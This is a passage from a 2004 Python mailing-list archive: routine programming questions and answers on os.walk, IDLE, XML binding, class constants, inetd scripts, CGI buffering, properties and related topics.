References: <mailman.96.1077712778.8594.python-list@python.org>
Message-ID: <403ca15c$1@pfaff2.ethz.ch>

Hi,

> Hello,
> I am using Pyton 2.3
> I desire to walk a directory without recursion
> 
> this only partly works:
> def walk_files() :
>    for root, dirs, files in os.walk(top, topdown=True):
>        for filename in files:
>            print( "file:" + os.path.join(root, filename) )
>        for dirname in dirs:
>             dirs.remove( dirname )
I don't know what this walk function does, but anyway, I
think one problem here is that you are iterating over a
variable that you are changing later. There was a similar
message weeks ago and the solution was to copy the list
and remove the elements of this duplicate. I don't remember
which was the function used to copy the list, but I'm sure
that you can't use:
dirs2=dirs
because they reffer to the same memory address.

Regards,
Josef


From gerrit at nl.linux.org  Thu Feb  5 17:07:48 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Thu, 5 Feb 2004 23:07:48 +0100
Subject: Custom operator
In-Reply-To: <2066c50.0402051336.1e8e7ee4@posting.google.com>
References: <2066c50.0402051336.1e8e7ee4@posting.google.com>
Message-ID: <20040205220748.GA8055@nl.linux.org>

mathias wrote:
> I would like to define a custom operator in Python. 
> (It is not about overloading an existing operator but about 
> defining special new operators)

You cannot define new syntax in Python.

This is on purpose, Python would be a different language if it could.
"import this"

Why do you want it?

Gerrit.

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From ark at acm.org  Wed Feb 18 09:04:26 2004
From: ark at acm.org (Andrew Koenig)
Date: Wed, 18 Feb 2004 14:04:26 GMT
Subject: PEP-0315--Enhanced While Loop: An idea for an alternative syntax
References: <XACYb.41933$hR.981878@bgtnsc05-news.ops.worldnet.att.net>
	<7x65e4j3oa.fsf@ruckus.brouhaha.com>
Message-ID: <KhKYb.15131$aH3.495341@bgtnsc04-news.ops.worldnet.att.net>

> I'm still scratching my head over that PEP.  Got a real-world code sample
> that it would improve?

Any loop that is currently written in the form

    while True:
        <statements>
        if condition:
            break
        more statements




From miki.tebeka at zoran.com  Sun Feb  8 18:12:13 2004
From: miki.tebeka at zoran.com (Miki Tebeka)
Date: 8 Feb 2004 15:12:13 -0800
Subject: Clearing IDLE's screen?
References: <4f0a9fdb.0402080107.3800b86e@posting.google.com>
	<87k72x73oj.fsf@hydra.localdomain>
Message-ID: <4f0a9fdb.0402081512.15c9a068@posting.google.com>

Hell Kurt,

> > I'd like to bind <CTRL+L> so that it will clear IDLE's screen (in the
> > interactive prompt).
> Try this:
> 
> def clear():
>     for i in range(60):
>         print
I'd like to clear the history as well.

> The downside is the buffer can get pretty large.  You have to decide
> if that's a problem.  It hasn't been for me.  
I've found that when the buffer is very big IDLE becomes very slow.
(Happes to me a lot, instead of 
>>> print len(open("X").read())
I do
>>> print open("X").read()
)

> The question for the list is, should Clear be orthogonal to Reset or
> should Clear also do a Reset?
IMO it should just clear. I'd like it to remember my previous
definition and just clear the screen.

Miki


From ggg at zzz.it  Tue Feb 24 12:15:41 2004
From: ggg at zzz.it (deelan)
Date: Tue, 24 Feb 2004 18:15:41 +0100
Subject: XML data binding - Castor-like
In-Reply-To: <c1e155$sqb$1@panorama.wcss.wroc.pl>
References: <c1e155$sqb$1@panorama.wcss.wroc.pl>
Message-ID: <fs5g1c.4or.ln@news1.interplanet.it>

Przemyslaw Wegrzyn wrote:

> Hi!
> 
> I'm quite new to Python. Is there anything like Castor or JAXB available for
> Python ? All I have found is generateDS.py, but it seems to be very limited
> and a bit buggy - it seems to be sensitive to the order in which I declare
> elements in my XML Schema file.

dunno what castor is but this package provides
some link between python and a XSD schema file:

"Python XML Marshaller"
<http://home.pacbell.net/pyared/pybypy/xml/>

also, before give up, check out the other
XML<-->python bindings:

"XML Data Bindings in Python"
<http://www.xml.com/pub/a/2003/06/11/py-xml.html>

-- 
@prefix foaf: <http://xmlns.com/foaf/0.1/> .
<#me> a foaf:Person ; foaf:nick "deelan" ;
foaf:weblog <http://www.deelan.com/> .


From spam at fisher.forestry.uga.edu  Thu Feb 19 15:24:32 2004
From: spam at fisher.forestry.uga.edu (Chris Fonnesbeck)
Date: 19 Feb 2004 12:24:32 -0800
Subject: AVPython on ArcGIS?
Message-ID: <c3835e5f.0402191224.9b5d076@posting.google.com>

I know that AVPython was written to allow scripting in ArcView 3.*,
but I am wondering if this module works in ArcGIS 8.*? I notice that
the last release is quite old; has development ceased on this project?

Thanks,
Chris


From anton at vredegoor.doge.nl  Fri Feb 20 19:19:37 2004
From: anton at vredegoor.doge.nl (Anton Vredegoor)
Date: Sat, 21 Feb 2004 01:19:37 +0100
Subject: Human validation with an image
References: <2ca51434.0402181235.460befe3@posting.google.com>
	<c10mh0$kfr$1@panix3.panix.com> <4033F249.FD73DAB6@engcorp.com>
Message-ID: <4036a45f$0$133$3a628fcd@reader1.nntp.hccnet.nl>

Peter Hansen <peter at engcorp.com> wrote:

>Other options?  Or pointers to the right keywords to let someone 
>investigate the state of the art/literature more closely?

One idea might be to ask the user to answer a specific computing
intensive question, for example solving a randomly generated traveling
salesman problem of a suitable size. The idea behind this is that a
spammer wants to send thousands of messages and can't afford to
compute the answer to these questions thousands of times, while a
single user can afford to let his computer chew on a problem for a few
seconds.

I would be interested in a Python implementation of this mail
validation scheme.

Anton


From sross at connectmail.carleton.ca  Thu Feb 19 18:54:32 2004
From: sross at connectmail.carleton.ca (Sean Ross)
Date: Thu, 19 Feb 2004 18:54:32 -0500
Subject: Generating a large random string
References: <4034D506.2E37519A@netsurf.de>
	<KLaZb.7624$Cd6.689008@news20.bellglobal.com>
Message-ID: <N0cZb.8766$Cd6.699305@news20.bellglobal.com>

[snip]
>
> # different approach
> seed(14)
> # add 1 so population > sample size (n)
> factor = n/len(letters) + 1
> start = now()
> s = ''.join(sample(letters*factor, n))
> took = now() - start
> print "new way n: %d took: %2.2fs"%(n, took)
[snip]

There's a problem with this method as it appears
random.sample is done without replacement, e.g.

>>> from random import sample
>>> sample(range(10), 10)
[9, 5, 3, 2, 0, 8, 4, 1, 6, 7]
>>>

Sorry about that,
Sean




From bblochl2 at compuserve.de  Wed Feb 25 10:53:31 2004
From: bblochl2 at compuserve.de (b-blochl)
Date: Wed, 25 Feb 2004 16:53:31 +0100
Subject: No Thoughts about Everything
Message-ID: <403CC4FB.7040204@compuserve.de>

I wonder about the huge traffic in the question how many  tuples are 
dispensible. I find that a question of only ternary or quarterny order - 
use it or use it not (free after Shakespears "to be or not to be). Well, 
I had my part on that.

But introducing students to python as a first programming language lists 
and tuples are astoninglishy always constant points of confusion as well 
as the other points of the citatet list. I will not repeat it now, but 
the class-questions are more interesting for me and fundamental for the 
choice of python.

A point of vital interest for me are the classes and the handling of 
class variables. I have read a lot of discussion threads in the mean 
time and the PEP 318 as well. One point of critic will become obsolet 
with the possible future change described in PEP 318. (Use of Java-like 
modifiers is simpler.)

I find the syntax and handling of classes and class variables (or static 
variables) in python not an absolute success. Fist that is a result of 
comparing my personal experience with Java in the first place. Second it 
is an experience of introductory  teaching python. The learning curve is 
astoninglishly steep, but it will flatten arriving  at classes and 
objects in python. Compared with Java I found it just opposit.

Beside, I find the concept of modifiers in Java very attractive. (May be 
that concept is not absolutely clean OO - but it is very simple to apply 
in real world programming.) Some arguments I found in the discussions 
make me arguing that some concepts connected to that modifiers are 
absolutely misunderstood. For instance "information hiding" with the use 
of the modifier "private" for instance variables and/or methods 
basically means that no direct access from the clients is allowed. There 
is no doubt, that that concept rescues bugs and improves program 
modification. In the discussions very often "information hiding" is only 
interpreted as "hidden code". Even compiled Java code can easily be 
recovered - start a internet search for appropriate tools. In an 
interpreted language like python I see no problem at all. (Guido will 
never  allow hiding.......)

Let me give you an instance for the use of the Java modifiers static and 
final. (There are three "visibility" and seven other modifiers in Java) 
That problem is not a constructed and log searched example, but an every 
day application in teaching for instance natural or engineering science, 
while using Java. I kindly ask for help to transfer that simple, single 
line intelligent to python in the best possible way:

static final double c=2.99792458e8;

That is the speed of light in vacuum in scientific (exponential) 
notation. I use it in a class as a class variable. That means it will be 
shared as a single copy of a variable among all of the objects 
instantiated from that class. That is the meaning of the modifier 
"static". With final I make it to a constant, that cannot changed by any 
code. (double is self speaking, it is not necessary in python - as 
anyone knows.) I dont like to use c as global variable. A possible 
waywith the following code recipes?

1. modifier final
For instance recipe 5.15 Defining Constants (Alex Martelli) out of the 
python cookbook (OReilly, ISBN 0-596-00167-3) shows, how to define 
constants. About 10 lines, instead of one modifier - I have not found 
another way.
2. modifier static
There is recipe 5.6 i(Alex Martelli, Carel Fellinger) in the cited book 
shows how to implement static Methods to make variables static. Three 
more lines for a simple modifier.

With some time and by trial and error may be I find the solution. But 
there are many Geeks reading python.org. I think for them it is only a 
fingersnip to transfer that to the python way? So, here again my Question:
How can I create such a "class constant" (static final / recipe 5.15 and 
5.6 in one) in python as short as possible?
(I hope you recognize, why teaching python to beginners becomes tedious 
in python arriving at that point?)

Thanks in advance
Bernhard






From fmml at cedval.org  Thu Feb  5 19:40:12 2004
From: fmml at cedval.org (Francois Meehan)
Date: Thu, 05 Feb 2004 19:40:12 -0500
Subject: Looking for a DB for object persistance...
Message-ID: <LnBUb.47585$nL.463437@weber.videotron.net>

Hi all,

I am looking for a small DB solution for object persistence (mostly 
shelve object).

I need it to:

Works both in Linux and windoze
Server independent (no Mysql or the like)
Allow simultaneous access by multiple process for read/write operations.
Be able to hold lots of data (close to a gig)

I tough Berkeley DB with bsddb3 would be the ticket, but I could not 
make sense of the installation instructions for win32, no mention of 
python.

I am considering Zodb3, but did not find info for simultaneous access 
capability.

Any suggestions???

Thanks in advance,


Francois Meehan



From gerrit at nl.linux.org  Sat Feb  7 05:37:54 2004
From: gerrit at nl.linux.org (Gerrit)
Date: Sat, 7 Feb 2004 11:37:54 +0100
Subject: hex(id(...)) and negative id's, 6 questions
Message-ID: <20040207103754.GA4145@nl.linux.org>

Hi,

in my own classes, I usually implement __repr__ with something like:

            hex(id(obj))

...in order to simulate the behaviour of built-in types.

However, since I upgraded to Fedora Core 1 and Linux Kernel
2.4.22-1.2163.nptl, id(obj) is usually negative. Why is it negative?

Still, hex() returns a positive number when passed a negative argument. Why?
I can see that it will change, but why did it behave like this until 2.4?

Python 2.3.3 (#4, Feb  6 2004, 23:05:05)
[GCC 3.3.2 20040108 (Red Hat Linux 3.3.2-6)] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> obj=object()
>>> hex(id(obj))
/home/gerrit/.pythonrc:1: FutureWarning: hex()/oct() of negative int
will return a signed string in Python 2.4 and up
  #!/usr/bin/env python
'0xbf59d3b8'
>>> obj
<object object at 0xbf59d3b8>
>>> hex(abs(id(object)))
'0x810ce20'

I see that obj still takes the positive part. It does not equal
hex(abs(...)). Why not? What is a signed string? And how do I keep behaving my
__repr__ like repr(obj) does in the future? How does repr(obj) bypass the
FutureWarning? 

That are, let me count, 6 questions ;-)

Gerrit.

-- 
PrePEP: Builtin path type
    http://people.nl.linux.org/~gerrit/creaties/path/pep-xxxx.html
Asperger's Syndrome - a personal approach:
	http://people.nl.linux.org/~gerrit/english/



From opengeometry at yahoo.ca  Fri Feb 27 22:31:52 2004
From: opengeometry at yahoo.ca (William Park)
Date: 28 Feb 2004 03:31:52 GMT
Subject: inetd script in python?
References: <8ab78660.0402270403.6a36f7f3@posting.google.com>
Message-ID: <c1p237$1l6928$1@ID-99293.news.uni-berlin.de>

Jan <jan.kesten at web.de> wrote:
> Hi all!
> 
> I looked around a lot, but I didn't find a solution. I have to write
> an simple server application to do some jobs and return a result to a
> client. I tried SocketServer and this works really fine. But I didn't
> manage to get a script working that is started by inetd.
> 
> So far I read about that I could use stdin and stdout for
> communication since inetd handles the socket. And I read that I could
> use socket.fromfd to get a socket object to work with. But both do not
> work, I tried to send just a greeting back to the client or getting
> some text - nothing.
> 
> Is there any working example out there - I coudn't find one. There was
> just a snippet like this:
> 
> import socket
> import sys
> client = socket.fromfd(sys.stdin.fileno(), socket.AF_INET,
> socket.SOCK_STREAM )

No.  inetd(8) will invoke your script, with stdin/stdout/stderr attached
to incoming connection.  It will take care of all socketing.  And, all
you have to do is read from stdin and write to stdout/stderr.

You can skim over 
    http://home.eol.ca/~parkw/index.html#httpd
for an example of inetd daemon script.  It's shell script, but Python
script would go similar way.

-- 
William Park, Open Geometry Consulting, <opengeometry at yahoo.ca>
Linux solution for data management and processing. 


From gh at ghaering.de  Wed Feb 11 05:24:14 2004
From: gh at ghaering.de (=?ISO-8859-1?Q?Gerhard_H=E4ring?=)
Date: Wed, 11 Feb 2004 11:24:14 +0100
Subject: Non Parsed Headers in Python
In-Reply-To: <8089854e.0402102357.6d7b721e@posting.google.com>
References: <8089854e.0402102357.6d7b721e@posting.google.com>
Message-ID: <402A02CE.6070200@ghaering.de>

Fuzzyman wrote:
> How do I make a python CGI output whilst it is still running - how do
> I tell the server not to buffer the output ?
> 
> I have seen instructions for Perl, but not for python......

Starting your CGI script with

#!/usr/bin/env python -u

should do the trick.

-- Gerhard



From mal at egenix.com  Sat Feb 28 10:16:27 2004
From: mal at egenix.com (M.-A. Lemburg)
Date: Sat, 28 Feb 2004 16:16:27 +0100
Subject: mx.DateTime formatting, need milliseconds
In-Reply-To: <b579fd42.0402271055.534ec9e3@posting.google.com>
References: <b579fd42.0402271055.534ec9e3@posting.google.com>
Message-ID: <4040B0CB.6070702@egenix.com>

Troy wrote:
> Hi-
> 
> I'm running Python 2.3 on Windows so I am using the mx.DateTime
> package to parse timestamps from a log.
> 
> The timestamps are formatted like so:
> 2004-02-24 15:42:03,707
> 
> When I use the default formats for the getDateTimeFromString()
> function, I lose the milliseconds.  I can't find documentation
> anywhere about how to write a format string for mx.DateTime so I can't
> write my own format string.
> 
> I really need that data.  Thanks!

mxDateTime has a strptime() parser that you could use,
but the Parser.DateTimeFromString() parser should be able
to parse the above as well (replace ',' with '.').

-- 
Marc-Andre Lemburg
eGenix.com

Professional Python Services directly from the Source  (#1, Feb 27 2004)
 >>> Python/Zope Consulting and Support ...        http://www.egenix.com/
 >>> mxODBC.Zope.Database.Adapter ...             http://zope.egenix.com/
 >>> mxODBC, mxDateTime, mxTextTools ...        http://python.egenix.com/
________________________________________________________________________

::: Try mxODBC.Zope.DA for Windows,Linux,Solaris,FreeBSD for free ! ::::



From james at logicalprogression.net  Fri Feb 20 06:12:47 2004
From: james at logicalprogression.net (James Henderson)
Date: Fri, 20 Feb 2004 11:12:47 +0000
Subject: Statement (un)equality
In-Reply-To: <c14nlt$2fi$2@atlantis.news.tpi.pl>
References: <c14nlt$2fi$2@atlantis.news.tpi.pl>
Message-ID: <200402201112.47375.james@logicalprogression.net>

On Friday 20 February 2004 10:31 am, Adam Przybyla wrote:
> castle:/home/adam>python
> Python 2.3 (#3, Aug  4 2003, 16:43:33)
> [GCC 2.96 20000731 (Red Hat Linux 7.1 2.96-98)] on linux2
> Type "help", "copyright", "credits" or "license" for more information.
>
> >>> [[y,x] for x,y in [1,2],[3,4]]
>
> [[2, 1], [4, 3]]
>
> >>> map(lambda x,y: [y,x], [1,2],[3,4])
>
> [[3, 1], [4, 2]]
>
> Why there is a difference?

Hi,

    [[y,x] for x,y in [1,2],[3,4]]

is just the same as:

    [[y,x] for (x,y) in ([1,2],[3,4])]

The list comprehension regards "[1,2],[3,4]" as a single argument (a tuple) 
and "x,y" is also a tuple.  "x,y" is assigned first [1,2] and then [3,4].

In the map statement "[1,2],[3,4]" are two different arguments.  map's 
signature allows for any number of iterables to be passed after the first 
argument.

> How to make the same thing like in map
> statement?

zip() gives you the sequence of pairs you want to pass:  (zip() is very 
similar to map with None as the first arguemnt.  The difference is how they 
handle sequences of unequal length.)

>>> zip([1,2],[3,4])
[(1, 3), (2, 4)]
 
so:

    [[y,x] for x,y in zip([1,2],[3,4])]

will match the behaviour of the map statement.

> Regards
> 								Adam Przybyla

James
-- 
James Henderson, Logical Progression Ltd.
http://www.logicalprogression.net/
http://sourceforge.net/projects/mailmanager/



From rmb25612 at yahoo.com  Sat Feb 14 17:44:30 2004
From: rmb25612 at yahoo.com (Richard James)
Date: 14 Feb 2004 14:44:30 -0800
Subject: [ANN] Atox 0.2 released
References: <slrnc2qk2c.9li.mlh@furu.idi.ntnu.no>
Message-ID: <2c60f0e0.0402141444.3d0b785f@posting.google.com>

> Although the indentation functionality works well, it is still a bit
> experimental. Feedback is appreciated on how it might be expanded (or
> modified) to be of more practical use.

Great, another MLH abandoned Python project like NOGUI err... ANYGUI.

Sorry if I sound like a bitter and angry Python troll :)

Magnus has done some very good Python work and I enjoy reading and
learning from his writings.

But, I wasted a lot of valuable time and credibility trying to sell
NOGUI uh... ANYGUI for in house rapid MS Windows gui development to my
boss and co-workers.

I don't know how many times I said: I'm sure the next release is just
around the corner. And it will run on ANY gui that our customers have
installed!!!!!

We didn't need a full blown bells and whistles gui, just simple
buttons, checkboxes, textboxes and such to quickly satisfy our
customers silly little needs. They were scared of messing with the
command line stuff. And we couldn't afford to waste a half a week's
time writing and debugging a custom MS Windows gui that they would
want changed the very next week.

So we ended up using the g4c.pyd from Gui4Cli...

http://www.gui4cli.com/ 

You can write some very compact and sweet native MS Windows guis with
Gui4Cli.
Plus the Gui4Cli script language can be changed independent of the
program source saving hours and hours of time.

But I have digressed from the XML topic.

Before I invest in another MLH (or anybody's "NEW") Python programming
paradigm I have the following questions:

1: Is yet another XML method really better than just using Python's
"industry standard" XML methods? Am I wasting my time going down a
dead end?

2: Is this code going to be FULLY supported in the future? Like the
problems with Python 2.2 BSD DB vs Python 2.3 BSD DB changes.

3: Does this code violate ANY potential Microsoft XML software patents
in the news this last week? And should we just fagedaboudit when it
comes to using XML in anything other than MS compatible products?

4: Does Python need to establish an offical "registered" project
ranking system? ( F = Not supported, D = Experimental, C = In
development, B = Mature Limited support, A = Full on going Python
language support ) I suppose checking on PyPi is kind of being safe.
But I need to know if XYZ module has a staff of 15 full time
programmers working on it or just kid hacker Billy on his mom's PC
after school. The "professional" look of the Webpage sort of gives you
a clue, but not always. wxPython, while very well supported, has a
weekend hacker feel to it's webpage, when compared to Zope's all pro
webpage.

(P.S. They still make fun of me about "my" NOGUI um... ANYGUI faux
pax.)

-- R.J.


From David  Sun Feb 22 02:27:11 2004
From: David (David)
Date: Sun, 22 Feb 2004 00:27:11 -0700
Subject: How to overide "for line in file:"
References: <tisf301qf76c8lh0jkq9086gpqoep1bb1u@4ax.com>
	<103g0mhgmfups16@news.supernews.com>
	<mailman.152.1077423223.27104.python-list@python.org>
Message-ID: <oakg30t4g8gkit04b8dg1jv6sf61rdbkc9@4ax.com>

On Sat, 21 Feb 2004 23:13:19 -0500, "Terry Reedy" <tjreedy at udel.edu>
wrote:


>Your class needs an __iter__ function.  However, unless you have some other
>reason for the heavy duty class option, much easier is something like:
>
>def xycoords(lines):
>    # lines is an iterable that yields text lines of appropriate format
>    for line in lines:
>        <extract numbers and transform>
>        yield x,y
>
>You can feed xycoords a literal list of lines for testing and then an open
>file for production use.
>Chaining iterators like this is part of their intended use.
>

Hmmm. It was the "list of lines" that I was trying to avoid. Because
my files (several files, opened simultaneously) of row,col pairs are
very long (e.g., the locations of many things at every second for a
very long time), I was trying to get the effect of xreadlines, but
with the newer idiom used both "in and out" -- that is, used by the
super to actually read the data, and made available to myFile
instances as well. And since the only behavior of the file class that
I wanted to change was to, in effect, "filter" the input, subclassing
file seemed reasonable. 

I could (in fact, I did, so as to not halt all progress) make a
solution using the even older "while True:/readline/test and break"
idiom.  So I can use the idiom "outside" of my implementation. But my
curiosity remains: Is it possilbe to use the idiom "inside" (by the
super) to make the idiom available "outside" (by subclasses's
instances)?

Another poster has suggested  that I subclass file and redefine
__iter__(self), possibly even point to self. The problem I have when
doing this is that it seems the break the idiom "for line in file"
that is provide by the superclass, file. And I would still like to use
this idiom for doing the actual reading within my .

So, what I was trying to achieve was something like the following
generator, but without the use of the deprecated xreadlines:

    for line in xreadlines.xreadlines():
        <extract numjber and transform>
        yield x,y

Thanks, all, for your answers!
dave


From rainerd at eldwood.com  Wed Feb 25 14:19:14 2004
From: rainerd at eldwood.com (Rainer Deyke)
Date: Wed, 25 Feb 2004 19:19:14 GMT
Subject: Thoughts about Python
References: <15c2d03b.0402240311.395f5382@posting.google.com>	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>	<15c2d03b.0402241237.708cb4e8@posting.google.com>	<qnk4qtgt7j9.fsf@arbutus.physics.mcmaster.ca><15c2d03b.0402250123.151f06db@posting.google.com>
	<mailman.92.1077704474.8594.python-list@python.org>
Message-ID: <Sy6%b.120730$jk2.517845@attbi_s53>

Mike C. Fletcher wrote:
> Actually, this is the classic problem of data-escaping.  It's
> *possible* to guarantee unique values when encoding as a string, but
> it's a *lot* harder than just doing str( data ).

In Python it's one extra line of code.

from pickle import dumps
dumps(data)



-- 
Rainer Deyke - rainerd at eldwood.com - http://eldwood.com




From kbk at shore.net  Fri Feb 20 20:42:21 2004
From: kbk at shore.net (Kurt B. Kaiser)
Date: Sat, 21 Feb 2004 01:42:21 GMT
Subject: Idle won't start
References: <ecebe16b.0312141050.4a10fbba@posting.google.com>
	<8eh830tlh056hk21hm9v49m3qcinjv4pq9@4ax.com>
	<MPG.1aa0294fb691b003989682@news-server.columbus.rr.com>
Message-ID: <87d689mcn7.fsf@hydra.localdomain>

John Matthews <John at the.computer> writes:

> In article <8eh830tlh056hk21hm9v49m3qcinjv4pq9 at 4ax.com>, shuvit@
> 127.0.0.1 says...
>> 
>> This might be a different problem if your problem is truly
>> intermittent, but I am finding that IDLE has conflicts with other
>> installed programs.  I have been running Python 2.3 under Windows
>> XP-Home with no problem for the last few months.  Yesterday I
>> installed Ruby 1.8.1-11 and now IDLE won't start.  No response to
>> clicking the icon, selecting the menu item,  Nada.  Removing Ruby
>> restores IDLE.
>> 
>> With Ruby installed, when I run IDLE from a command line
>> C:\Python23\Lib\idlelib>idle.py
>> I get a message:
>> """
>> _tkinter.TclError: Cant find a usable init.tcl in the following
>> directories:  <c:\ruby\tcl\lib\tcl8.3> <c:\ruby\tcl\lib\tcl8.3>
>> c:/ruby/tcl/lib/tcl8.4  C:/Python23/lib/tcl8.4  C:/lib/tcl8.4
>> C:/library
>> This probably means that Tcl wasn't installed properly.
>> """
>> I have no idea why IDLE is looking for library routines in the Ruby
>> subdirectories, or why all the strange variations in the search path
>> above, but it is clear that Ruby and IDLE cannot co-exist on one
>> computer.
>> 
>> Note:  Re-installing Python23 after Ruby is installed doesn't help.
>> You have to remove Ruby completely.
>> 
>> -- Dave
>
> I have similar problems at my office machine (Win2K Pro) and my home 
> machine (WinXP). I do not, nor have ever had Ruby installed. The problem 
> seems intermittent. I gave up and went back to Python 2.2. I hated to go 
> back because the 2.3 version of IDLE was nice, but I beleive that it is 
> somehow broken and will need to be fixed for me to use it again.

The above error message is from the tcl_findLibrary procedure in
auto.tcl, in .../lib/tcl8.3 (or 8.4).

It's not IDLE, it's tcl looking for init.tcl.  It appears to be saying
it can't source init.tcl in any of those directories.

Note that the OP appears to have both tcl8.3 and 8.4 installed? That
may be confusing auto.tcl, or perhaps Ruby changed the environment.
The '\' and '/' in the paths are suggestive.

One would have to trace the execution of tcl_findLibrary to figure
this one out.  I don't have Ruby on my XP box or Win2K boxes, but
IDLE works fine.  IDLE and Ruby should be able to play together,
but it may be necessary that they both use the same version of tcl.

Too many batteries :-)

===

As for John Matthews' problem, it would be helpful to see the actual
error messages.  Please post to idle-dev at python.org.  "Similar" problems
are likely tcl/tk issues, and not necessarily due to the new IDLE.

-- 
KBK


From Scott.Daniels at Acm.Org  Tue Feb 10 12:12:34 2004
From: Scott.Daniels at Acm.Org (Scott David Daniels)
Date: Tue, 10 Feb 2004 09:12:34 -0800
Subject: Creating objects you don't actually want
In-Reply-To: <c0ajph$153q3a$1@ID-223265.news.uni-berlin.de>
References: <d232c5e.0402100250.20e49e37@posting.google.com>
	<c0ajph$153q3a$1@ID-223265.news.uni-berlin.de>
Message-ID: <40291a89@nntp0.pdx.net>

sid wrote:

> ...  this could be written as
> for item in os.lsitdir('dir')
>     try:
>         sfx = sfxobject(item)
>     except sfxobjectError:
>         pass
> 
>>for item in os.listdir('dir'):
>>    if os.isfile(item):
>>        sfx = sfxobject(item)
> this is a better way.

I'd disagree.  Try and handle failure solves funny instances, such as
Just after os.isfile(item) a separate process deletes the file.  Then
sfxobject(item) will fail, because the test tested something that was
true in the past.  Just go ahead and handle failure often works better
than "look before you leap."

-- 
-Scott David Daniels
Scott.Daniels at Acm.Org


From ipellew at pipemedia.co.uk  Thu Feb 19 19:50:25 2004
From: ipellew at pipemedia.co.uk (Ian Pellew)
Date: 19 Feb 2004 16:50:25 -0800
Subject: #! Question
Message-ID: <30875970.0402191650.57dfe998@posting.google.com>

Hi All;

How do I get line one to call python:-
This is line one in my python script 
#!C:/Program Files/Python2.3.3/python.exe

gives:-
Win32_Prompt> "C:\Documents and Settings\ipellew\My Documents\gt.py"
c:\Progra~1\Python2.3.3\python.exe: can't open file './C:\Documents
and Settings\ipellew\My Documents\gt.py'

my python script is in:-
"C:\Documents and Settings\ipellew\My Documents"

Regards
Ian


From mcfletch at rogers.com  Wed Feb 25 05:21:07 2004
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Wed, 25 Feb 2004 05:21:07 -0500
Subject: Thoughts about Python
In-Reply-To: <15c2d03b.0402250123.151f06db@posting.google.com>
References: <15c2d03b.0402240311.395f5382@posting.google.com>	<Xns9499854B482AEduncanrcpcouk@127.0.0.1>	<15c2d03b.0402241237.708cb4e8@posting.google.com>	<qnk4qtgt7j9.fsf@arbutus.physics.mcmaster.ca>
	<15c2d03b.0402250123.151f06db@posting.google.com>
Message-ID: <403C7713.2090209@rogers.com>

Marco Aschwanden wrote:
...

>'(3, 4, 20.010100000000001)'  # 8o)
>What is not unique about this string?
>Okay, I can think of cases where this approach is problematic -
>foremost when sorting is involved.
>  
>
Actually, this is the classic problem of data-escaping.  It's *possible* 
to guarantee unique values when encoding as a string, but it's a *lot* 
harder than just doing str( data ).  You need to make sure that 
different things are going to show up with different values:

    d = {}
    myWorkingList = (3,4,20.010100000000001)
    somePieceOfDataFromSomewhere = '(3, 4, 20.010100000000001)'   
    d[ myWorkingList ] = 32
    d[ somePieceOfDataFromSomewhere ] = 34

That is, you'd need to encode into your string information regarding the 
*type* and internal structure of the object to avoid collisions where 
something just happens to look the same as another object, so something 
like:

    '(I3\nI4\nF20.010100000000001\nt.' # for the tuple and
    "S'(3,4,20.010100000000001)'\np1\n." # for the string

Thing is, creating those static string representations is a major PITA 
(in case you're wondering, the above are pickles of the values), and 
would waste a lot of memory and processing cycles (to build the safe 
string representation, (a task which is somewhat involved)) compared to 
just using a pointer to the object and the object's built-in __hash__ 
and comparison methods.

>It is also a bit complicated to retrieve the values from the string
>(it has to be "split"ted or "eval"ed back to a tuple or list).
>If this pattern would be seldom used... but it seems, that everybody
>except me uses this dicts as keys.
>  
>
Round-trip-eval-capable objects are considered good style, but are not 
by any means universal even among the built-in objects:

     >>> x = object()
     >>> x
    <object object at 0x00C7D3B8>

pickle/cPickle is closer to the idea of a robust mechanism for coercion 
to/from string values, but even it has its limits, particularly with 
respect to older built-in types that assumed they'd never be pickled.

wrt sorting, it's not really a huge issue, dictionaries are not ordered, 
so to produce a sorted set you'd need to produce the keys as a 
list/sequence of reconstituted objects anyway.

Have fun, and enjoy yourself,
Mike

_______________________________________
  Mike C. Fletcher
  Designer, VR Plumber, Coder
  http://members.rogers.com/mcfletch/





From dk123456789 at REMOVEhotmail.com  Mon Feb 16 15:43:00 2004
From: dk123456789 at REMOVEhotmail.com (Dave K)
Date: Mon, 16 Feb 2004 21:43:00 +0100
Subject: Installation problem on Windows 98
References: <c93e5fda.0402160226.6889923b@posting.google.com>
Message-ID: <kb9230h5ne90dvnmpildi873h8dcjr5bpu@4ax.com>

On 16 Feb 2004 02:26:44 -0800 in comp.lang.python, kent at cpttm.org.mo
(Kent Tong) wrote:

>Hi all,
>
>I've installed Python 2.3 using the Windows installer
>downloaded from www.python.org. I'm using Win98. The
>installation process went well without any problem.
>However, double-clicking the "IDLE (Python GUI)" does
>nothing. The cursor changes to a hour-glass for about
>1 second and then nothing happens. The "Python (command 
>line)" works.
>
>Any help? Thanks!

The standard installation should have done this, but it might be worth
checking - the path in my shortcut is:

   D:\Python23\pythonw.exe "D:\PYTHON23\Lib\idlelib\idle.pyw"

Changing the argument to a non-existent file gives me the behaviour
you mention (a very brief hourglass, followed by nothing). Also, if
you're running a personal firewall, you could check that pythonw.exe
isn't blocked (that shouldn't really prevent it starting up AFAIK, but
worth checking).

That's about the limit of my technical expertise, I'm afraid, maybe
another process you're running is interfering, but I wouldn't have a
clue what it might be.

Dave



From csad7 at yahoo.com  Mon Feb 16 14:10:07 2004
From: csad7 at yahoo.com (chris)
Date: Mon, 16 Feb 2004 20:10:07 +0100
Subject: inherit and overwrite a property (better its method call)
Message-ID: <c0r4if$bi5$07$1@news.t-online.com>

hi,
i am tinkering with properties of new style classes:

class Base(object):

     def m(self):
         return 'p of Base'
     p = property(m)

class Sub(Base):
     def m(self):
         return 'p of Sub'

b = Base()
print b.p # prints 'p of Base'

s = Sub()
print s.p # prints 'p of Base'!?

i was thinking s.p would use the method m of class Sub and not Base. but 
this does not work, both properties "p" of Base and Sub use method m of 
baseclass Base.

so it seems i cannot overwrite the method p calls to get its value 
without actually repeating the property definition in every subclass, or 
is there a way? the following does work but i want to get rid of the 
second p = property(m)...

class Sub(Base):
     def m(self):
         return 'p of Sub'
     p = property(m)

print b.p # prints 'p of Base'
s = Sub()
print s.p # prints 'p of Sub'

am i missing something?


thanks for any advice
chris



From dave at pythonapocrypha.com  Thu Feb 19 16:57:45 2004
From: dave at pythonapocrypha.com (Dave Brueck)
